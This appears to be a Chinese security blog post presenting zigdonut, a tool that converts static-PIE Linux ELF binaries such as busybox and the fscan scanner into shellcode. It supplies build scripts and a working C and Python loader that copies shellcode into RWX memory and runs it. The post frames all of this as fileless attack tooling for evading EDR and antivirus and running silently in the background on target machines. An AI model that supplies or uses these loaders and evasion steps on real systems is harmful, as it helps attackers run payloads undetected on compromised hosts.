zigdonut 简介

zigdonut是一个用 Zig 实现的精简版 donut。

最近新增了linux ELF 程序转换成shellcode的功能。

可以从https://github.com/howmp/zigdonut/releases/tag/v2.0.0下载体验

特性

  1. 仅支持静态链接的PIE/ET_DYN ELF
  2. 制作shellcode时压缩,加载时自动解压
  3. Double fork脱离控制终端,后台执行,不产生僵尸进程
  4. 可动态指定输出文件以及参数,stdin/stderr重定向到输出文件
  5. 切换工作目录到/tmp

为什么需要 Static + PIE

zigdonut 的 ELF shellcode 模式要求输入文件必须是静态链接 + PIE(ET_DYN)格式。原因如下:

  • PIE(位置无关可执行文件):PIE通过重定位表修复后,可以加载内存任意位置。非PIE下如果加载位置已经被占用,会无法加载。
  • 静态链接:不依赖任何其他so文件

验证是否符合要求:

1
2
3
4
5
readelf -h busybox | grep "Type:"
# Type: DYN (Shared object file) ← PIE

ldd busybox
# statically linked ← 静态链接

编译 C 代码:以 busybox 为例

busybox 默认编译为静态 ELF,但不是 PIE。需要在 Alpine 容器中使用 musl-gcc 重新链接为 static-pie:

Dockerfile:

1
2
3
4
5
6
7
8
FROM alpine:3.20

RUN apk add --no-cache \
build-base \
wget \
tar \
bash \
linux-headers

构建脚本build.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
set -e

make distclean
make defconfig
sed -i 's/.*CONFIG_STATIC.*/CONFIG_STATIC=y/' .config
sed -i '/CONFIG_EXTRA_CFLAGS/c\CONFIG_EXTRA_CFLAGS="-fPIC"' .config
sed -i '/CONFIG_EXTRA_LDFLAGS/c\CONFIG_EXTRA_LDFLAGS=""' .config
make CFLAGS="-fPIC" -j$(nproc)

# 将 .a 重新链接为 static-pie
gcc -fPIC -static-pie -o busybox_musl_pie \
-Wl,--sort-common -Wl,--sort-section,alignment \
-Wl,--start-group \
applets/built-in.o archival/lib.a archival/libarchive/lib.a \
console-tools/lib.a coreutils/lib.a coreutils/libcoreutils/lib.a \
debianutils/lib.a klibc-utils/lib.a e2fsprogs/lib.a editors/lib.a \
findutils/lib.a init/lib.a libbb/lib.a libpwdgrp/lib.a \
loginutils/lib.a mailutils/lib.a miscutils/lib.a modutils/lib.a \
networking/lib.a networking/libiproute/lib.a networking/udhcp/lib.a \
printutils/lib.a procps/lib.a runit/lib.a selinux/lib.a \
shell/lib.a sysklogd/lib.a util-linux/lib.a util-linux/volume_id/lib.a \
-Wl,--end-group \
-lcrypt -lm -lpthread

strip -s --remove-section=.note --remove-section=.comment busybox_musl_pie
readelf -h busybox_musl_pie | grep "Type:"
ldd busybox_musl_pie

编译:

1
2
3
4
docker build --network=host -t build-busybox .
docker run -it --rm -v $(pwd):/code --network=host build-busybox sh
# 容器内:
cd code && sh build.sh

关键点:

  • CONFIG_STATIC=y启用静态编译
  • CFLAGS="-fPIC"生成位置无关代码
  • -static-pie链接选项生成 PIE 格式的静态可执行文件
  • musl-libc 比 glibc 更适合静态编译,体积更小

编译 Go 代码:以 fscan 为例

1
CC="zig cc -target x86_64-linux-musl" go build -buildmode=pie -ldflags "-linkmode external -extldflags '-static -pie' -s -w" -trimpath .

3. Fileless 使用场景

3.1 C2插件场景:

可参考elfscloader.c

实现非常简单(约 60 行 C 代码),核心就是mmapRWX 内存 → 拷贝 shellcode → 跳转执行:

1
2
3
4
5
6
void *sc_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(sc_addr, data, size);
typedef void (*shellcode_fn)(char *output, size_t argc, char **argv, char **envp);
shellcode_fn sc_fn = (shellcode_fn)sc_addr;
sc_fn(argv[2], (size_t)(argc - 3), argv + 3, envp);

3.2 免杀场景:python加载Shellcode

传统方式直接上传 ELF 到目标机器,很容易被 EDR/AV 检测。可以通过python加载shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
"""ELF shellcode loader - Python version of elfscloader.c"""

import sys
import os
import ctypes


def main():
if len(sys.argv) < 3:
print(f"usage: {sys.argv[0]} <shellcode_file> <output> <elfname> [args...]", file=sys.stderr)
sys.exit(1)

filepath = sys.argv[1]
output = sys.argv[2]
elf_args = sys.argv[3:]

# Read shellcode from file
with open(filepath, "rb") as f:
sc_data = f.read()
sc_size = len(sc_data)
print(f"[+] loaded shellcode: {filepath} ({sc_size} bytes)")

# Setup libc with proper types
libc = ctypes.CDLL("libc.so.6", use_errno=True)
libc.mmap.restype = ctypes.c_void_p
libc.mmap.argtypes = [
ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int,
ctypes.c_int, ctypes.c_int, ctypes.c_size_t,
]

PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
MAP_PRIVATE = 0x02
MAP_ANONYMOUS = 0x20

page_size = os.sysconf("SC_PAGESIZE")
map_size = (sc_size + page_size - 1) & ~(page_size - 1)

sc_addr = libc.mmap(
None,
map_size,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1,
0,
)
if sc_addr == ctypes.c_void_p(-1).value:
print("[x] mmap failed", file=sys.stderr)
sys.exit(1)

# Copy shellcode into executable memory
ctypes.memmove(sc_addr, sc_data, sc_size)
print(f"[+] shellcode at: {hex(sc_addr)}")
print(f"[+] output: {output}")
print(f"[+] elfname: {elf_args[0] if elf_args else ''}")

# Build argv: char*[]
argc = len(elf_args)
argv_arr = (ctypes.c_char_p * (argc + 1))()
for i, arg in enumerate(elf_args):
argv_arr[i] = arg.encode()
argv_arr[argc] = None

# Build envp: char*[]
env_list = list(os.environ.items())
envp_arr = (ctypes.c_char_p * (len(env_list) + 1))()
for i, (k, v) in enumerate(env_list):
envp_arr[i] = f"{k}={v}".encode()
envp_arr[len(env_list)] = None

# void (*)(char *output, size_t argc, char **argv, char **envp)
FUNCTYPE = ctypes.CFUNCTYPE(None, ctypes.c_char_p, ctypes.c_size_t,
ctypes.POINTER(ctypes.c_char_p),
ctypes.POINTER(ctypes.c_char_p))
sc_fn = FUNCTYPE(sc_addr)
sc_fn(output.encode(), ctypes.c_size_t(argc), argv_arr, envp_arr)


if __name__ == "__main__":
main()

生成fscan和busybox的shellcode,体积缩小

执行busybox的uname -a

执行fscan的fscan -h

总结

zigdonut 将静态 PIE 的 ELF 转换为位置无关 shellcode,适用于 fileless 攻击场景。

在实战中,shellcode 可通过内存加载执行,实现无文件落地、静默运行。

本文首发于: https://xz.aliyun.com/news/92022